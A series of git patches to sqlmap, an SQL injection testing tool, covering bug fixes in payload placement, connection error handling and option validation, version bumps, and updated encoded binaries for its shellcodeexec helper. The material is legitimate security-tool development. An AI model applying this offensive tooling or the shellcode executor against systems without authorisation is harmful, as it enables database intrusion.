+5,7 @@ See the file 'LICENSE' for copying permission """ -import imp +import importlib import logging import os import re @@ -13,15 +13,18 @@ import traceback import warnings +_path = list(sys.path) _sqlalchemy = None try: - f, pathname, desc = imp.find_module("sqlalchemy", sys.path[1:]) - _ = imp.load_module("sqlalchemy", f, pathname, desc) - if hasattr(_, "dialects"): - _sqlalchemy = _ + sys.path = sys.path[1:] + module = importlib.import_module("sqlalchemy") + if hasattr(module, "dialects"): + _sqlalchemy = module warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) except ImportError: pass +finally: + sys.path = _path try: import MySQLdb # used by SQLAlchemy in case of MySQL diff --git a/sqlmap.py b/sqlmap.py index 500e888ffa5..7c7e14ebd4e 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -36,7 +36,10 @@ warnings.filterwarnings(action="ignore", category=DeprecationWarning) else: warnings.resetwarnings() - warnings.simplefilter("ignore", category=ResourceWarning, append=1) + warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) + warnings.simplefilter("ignore", category=ImportWarning) + if sys.version_info >= (3, 0): + warnings.simplefilter("ignore", category=ResourceWarning) warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) From 864ab597c0c9e9a5512482dda0dd26a41e5f3447 Mon Sep 17 00:00:00 2001 From: ptgeft Date: Thu, 23 Jun 2022 19:24:14 +0800 Subject: [PATCH 043/599] Update array-like POST data regex (#5128) --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 84cc405c5cd..2683ad2b124 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -845,7 +845,7 @@ MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" # Regular expression used for detecting Array-like POST data -ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) +ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" From e7372a9512c57ce079dc7e0ca8492176727d3211 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jun 2022 13:47:52 +0200 Subject: [PATCH 044/599] Fixes #5123 --- lib/core/settings.py | 2 +- lib/core/target.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2683ad2b124..7b117caee44 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.7" +VERSION = "1.6.6.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index cda19d99b27..c47b4513094 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -305,6 +305,9 @@ def process(match, repl): testableParameters = True else: + if place == PLACE.URI: + value = conf.url = conf.url.replace('+', "%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123 + conf.parameters[place] = value conf.paramDict[place] = OrderedDict() From 290058451dafae5bc7491962142f60f4d02f8750 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 Jun 2022 15:11:40 +0200 Subject: [PATCH 045/599] Fixes #5133 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index cec16b2bfcf..0514ed731e0 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2206,7 +2206,7 @@ def _useWizardInterface(): while not conf.url: message = "Please enter full target URL (-u): " - conf.url = readInput(message, default=None) + conf.url = readInput(message, default=None, checkBatch=False) message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7b117caee44..75bc7e9e6a4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.8" +VERSION = "1.6.6.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d98d64504c7d1b64031a478955f9ee65d7236e55 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 Jun 2022 15:24:45 +0200 Subject: [PATCH 046/599] Potential fix for #5132 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 45a8dfd408f..4ea6f7a462e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -590,7 +590,7 @@ def isVersionWithin(versionList): def isVersionGreaterOrEqualThan(version): retVal = False - if Backend.getVersion() is not None and version is not None: + if all(_ not in (None, UNKNOWN_DBMS_VERSION) for _ in (Backend.getVersion(), version)): _version = unArrayizeValue(Backend.getVersion()) _version = re.sub(r"[<>= ]", "", _version) diff --git a/lib/core/settings.py b/lib/core/settings.py index 75bc7e9e6a4..d1b1f41bf02 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.9" +VERSION = "1.6.6.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From afdaba76dc48d908808fb51c2eb9d8f807a63075 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 Jun 2022 15:30:34 +0200 Subject: [PATCH 047/599] Potential fix for #5134 --- lib/core/settings.py | 2 +- lib/request/connect.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d1b1f41bf02..5cd1b4365ce 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.10" +VERSION = "1.6.6.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index c630519c7bf..e54d261f69d 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -154,7 +154,7 @@ def _getPageProxy(**kwargs): if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525 warnMsg = "unable to connect to the target URL" raise SqlmapConnectionException(warnMsg) - except TypeError: + except (TypeError, UnicodeError): pass try: @@ -805,7 +805,7 @@ class _(dict): debugMsg = "got HTTP error code: %d ('%s')" % (code, status) logger.debug(debugMsg) - except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError): + except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError): tbMsg = traceback.format_exc() if conf.debug: @@ -821,7 +821,7 @@ class _(dict): elif "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) - elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: + elif any(_ in tbMsg for _ in ("forcibly closed", "Connection is already closed", "ConnectionAbortedError")): warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): From 43fba3936632d9221269f62bf11bd296e47b3778 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 Jun 2022 15:36:43 +0200 Subject: [PATCH 048/599] Fixes #5131 --- lib/core/option.py | 11 +++++++---- lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 0514ed731e0..93a0ce40e49 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2839,10 +2839,13 @@ def _basicOptionValidation(): else: conf.encoding = _ - if conf.loadCookies: - if not os.path.exists(conf.loadCookies): - errMsg = "cookies file '%s' does not exist" % conf.loadCookies - raise SqlmapFilePathException(errMsg) + if conf.fileWrite and not os.path.isfile(conf.fileWrite): + errMsg = "file '%s' does not exist" % os.path.abspath(conf.fileWrite) + raise SqlmapFilePathException(errMsg) + + if conf.loadCookies and not os.path.exists(conf.loadCookies): + errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) + raise SqlmapFilePathException(errMsg) def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setConfAttributes() diff --git a/lib/core/settings.py b/lib/core/settings.py index 5cd1b4365ce..11cc75bee0a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.11" +VERSION = "1.6.6.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 521da5e734e616c4d9fd8ce7df04fc2d5255e896 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 13 Jul 2022 22:27:26 +0200 Subject: [PATCH 049/599] Fixes #5137 --- extra/shellcodeexec/linux/shellcodeexec.x32_ | Bin 1691 -> 1691 bytes extra/shellcodeexec/linux/shellcodeexec.x64_ | Bin 1927 -> 1927 bytes lib/core/settings.py | 2 +- 3 files changed, 1 insertion(+), 1 deletion(-) diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32_ b/extra/shellcodeexec/linux/shellcodeexec.x32_ index 4d050d0c19a5d8040bc349e16628aa7c66f9b03b..c0857d971f5e0a43c707066c1a8feff53e00b1d2 100644 GIT binary patch literal 1691 zcmV;M24wj?(&8j86+SR=Gz>4MB~quw$5Z;M>my5JY<5CIb@v%l4I?LgAC}wPALF=lSZg#|%7`nUE{Up- z24l4}Kv23|ts0j|yoGt5nTLnLS!H>;CeP5|w^(d{rIviv;g>IiC~Xe3O#x5blgBbD z87(%AS$5ks19R+I0G))$H_t5ftrEkrnhIPF>X%Yd^a?P;m$OCkUWUTwL^G5%Vl_(P zbi2?ua&etJLUpkeSX;#ItN`i64>3n6$iZyaHb9ZFU?q zU3;KIA3Pd_DSOh90UXND09rWXd~?(b04sfks>#!d>j!s_#gys^887zh7PUrI@RhfT zM?47pRAICLjqcpbR&_9}l*eahz5rj|c={-;)c!xHf7Pk3ul*#spXuhZ1*X@e&1;Li zw#2gm=}PGJYO&PZq(W9kQh=0hie}n#2mu-Sa#a>o-LJ1?z?z+4_uz_OI?ff!eT0lM ziK)`qL7L1GrHkUPEH`P3NDevP**D=#?UQ|1+ zesJCYgqm8-(1-*~g~_NF=^7K-L5;&;!^q_>^JaOHL}PFM9|_$0IEv~W1ogAV+%0sY zRi{f!pF`Z;S^IpB_4&eSdPM&-r`52d25VRE*YX| zsmjHCH?ZsXm%_iNa@ul?v<)HX%!cs9jSvr?y4bUjUR=V3DJbLFqLnbY0u$wMiY07< z+hFd|10J~33A2{t>C3+Qay`FV2Cp`JT0@fAwOP?5DRz7QVqG8RbV&;{HXwc`;<0zb z<&5R>A35~)*W%IjJGEkZd-gv8vk}`RZspeY;`Lt0RCFs|x#Y@YEsxahcJcoz`j1aO z!F#r|BRa~Ck%LN~Fl{@5!&yHPndFpIxg-O|m5I|Xy3{%tJ1iY0W2aM7^8Ug10aA6A zu1hnk+VVs%QF0Eg7@q7%*&&|=pY#xmYd{97Di{FNv|jKGlL!1$Yl-{lah4Zy`!>QL zu05387v>ZL=BhYCfIs50=d}$EVA(1s8Zgy{FDPGQvQX!`|EW*^c-$;+Y;f_tV^kmG z%7{0;$(~;Ug*2AW#ylbQ0V0*_yQYC50IBtNo3N{v)O}-h9gQWvPm3Tq22FWxr*M_kzBe$uI!ql@A#DF!IYiBeM;hg#>NqfjcG6EYn z*HM48{vEBd0RI8pP22@xGw4A%|JIZo99PQ>=Va8AuiSeJV-A6GgF zA+fuST@9-}Zb2WUED`dp@`Q@#iU5H#$Qs^)ew~S8)6|g9VrP4YfEl%J?BMZa)vC@h@u*<7r l>e;@5UlZ*ZE`*pdyHGGRLUjfelK;iFA&-vx#%<+b^o<76R_Oo$ literal 1691 zcmV;M24wj<`OqT;TRRGE5da&q6L!|yC@&LfDYCEIG||6U7H$qk?}Q(V7_Huj zEm5)`4po3ah!&$fqWQvj--43uaXs?4PiQSlzL1TT zVlX`DVnx6Qrrg`$7;p-(vCC6)h$Ji7Q^+ren)?N`TG^etnb}ajwAx!_Mbx#h4!AHpHtOQ85Q zqMOz851;l9fQQz*8WSCi$mBvlwOH194ci+zf0U;zq%FzXD%V>-z{?>X%gmAs%oZokcd55$==$OXy<?*XLCW~M^P*CLT!IE9TIsBth7zv zz<|-_DII|E{Lt3kb+A}wUiu3ag*C4tMc2{Ytng&iad;m}kHEfU2EEh8IP}Ff--CN9 z_g})a2nfxk--d956=4sR^?gefveuJ-_aQmju!ZM3jPOn$5FQ#0Euv{p*Yfq_H+BJ$ zg?Ti9l=pr!bbdOyF1nac@)MXY(eWymPE0bs96WT>pKSLh-2%o>PKD3>N3vse&;-Q` z;5e?pGU^}~(2h(+s}1FusjxQ^Mb#cNEEJ)E1R7XK{8ini+NFEzPWV`8M?&_NEm0-^ z?}P)X|GFy%t_G3hh&dbSBrc)>^wB^qbqFv8^GTJw6u1ODl(b3ckiBrMjYOy z8IuSf6Z0g7^w5Z?4-VtM2{Sa7#pO$Z;aa9YEZnY&_iJbjB*c@Rt+^fNVqfC=J=S*9 z!2Bho&1@H-Detm8ZZgytJmQ9q0~AMgKupTa^~^68Tef#p+}r?f%C7wk2Y&Kj7Y;8Y z;dKkM)i0`oFLTxjj#(0=6=M?sWEq;pSLgY`S`%)+wJX*MS1DIuiwAdQouAkNk zaXTN4S!nHru8p|g^WBOH2#ImSTbt8!{`~7*8Qp@l!=m6nX)&PC6?3@j(^Yw8(sZIn zRzT4RNZnMQco~O;1!=+)<1;=Q6%3TR_jN$IeyTuS&-rZilSUsC&1U8$=0(>B12tw3R6)(5@n&6EU{?3tp l&((^RX*Zc41-73W^;HTeXL&LKq}#Ev3cZQYh-lw@(SgT*PFDZ` diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_ index 4bc2367a4fb2afbef39d90cae4566cd563f62e2d..13ef75229876a9af3a8502d0d1c98858bb60f34e 100644 GIT binary patch literal 1927 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 Nj6sK^nr`%_`ASvq+a3S_ diff --git a/lib/core/settings.py b/lib/core/settings.py index 11cc75bee0a..267f19a697f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.6.12" +VERSION = "1.6.7.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c722f8e3bd4aac3a5dc2287db9e9dd04fb4ce257 Mon Sep 17 00:00:00 2001 From: "Bernardo Damele A. G" Date: Thu, 14 Jul 2022 09:29:51 +0000 Subject: [PATCH 050/599] Update FUNDING.yml Updated funding information to point to sqlmap project's sponsors page --- .github/FUNDING.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index 41c825ab207..e6b299956eb 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1 +1 @@ -custom: 'https://www.paypal.com/donate?hosted_button_id=A34GMDLKA2V7G' +github: sqlmapproject From 8c26c67ce98a1cb747d0bc2da9ad5e92ba141840 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 20 Jul 2022 20:56:40 +0200 Subject: [PATCH 051/599] Minor patch for privately reported bug --- lib/core/settings.py | 2 +- lib/request/connect.py | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 267f19a697f..ed06c2c2458 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.7.0" +VERSION = "1.6.7.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index e54d261f69d..f862b18fc9c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -501,6 +501,9 @@ def getPage(**kwargs): headers[HTTP_HEADER.HOST] = "localhost" for key, value in list(headers.items()): + if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): + value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity" + del headers[key] if isinstance(value, six.string_types): for char in (r"\r", r"\n"): From 54e953d20681300189059ce4c41f01d890a12e5b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 27 Jul 2022 22:42:35 +0200 Subject: [PATCH 052/599] Fixes #5147 --- lib/core/agent.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 1a76f5375ed..24c498e6d68 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -196,9 +196,9 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) - if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString: + if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: newValue = '"%s"' % self.addPayloadDelimiters(newValue) - elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: + elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: newValue = "'%s'" % self.addPayloadDelimiters(newValue) else: newValue = self.addPayloadDelimiters(newValue) diff --git a/lib/core/settings.py b/lib/core/settings.py index ed06c2c2458..d444efd6a23 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.7.1" +VERSION = "1.6.7.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fe2042ea58da2cef804a022d670bb2bd9ab36577 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 4 Aug 2022 08:57:35 +0200 Subject: [PATCH 053/599] Fixes #5152 --- lib/core/settings.py | 2 +- lib/request/connect.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d444efd6a23..518cb47771e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.7.2" +VERSION = "1.6.8.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index f862b18fc9c..0e6eae9b55e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1544,7 +1544,10 @@ def _(value): if payload is None: value = value.replace(kb.customInjectionMark, "") else: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) + try: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) + except re.error: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) return value page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) From 7e425d4c9bd049a296bb491e3cdc90f57267bf18 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 4 Aug 2022 09:20:52 +0200 Subject: [PATCH 054/599] Fixes #5154 --- lib/controller/checks.py | 9 ++++++--- lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 809a0e70153..f80cdfd27b1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -271,15 +271,18 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True): + elif kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True): debugMsg = "skipping test '%s' because " % title debugMsg += "its declared DBMS is different than provided" logger.debug(debugMsg) continue + elif kb.reduceTests == False: + pass + # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific payload) - if injection.dbms and not intersect(payloadDbms, injection.dbms, True): + elif injection.dbms and not intersect(payloadDbms, injection.dbms, True): debugMsg = "skipping test '%s' because " % title debugMsg += "its declared DBMS is different than identified" 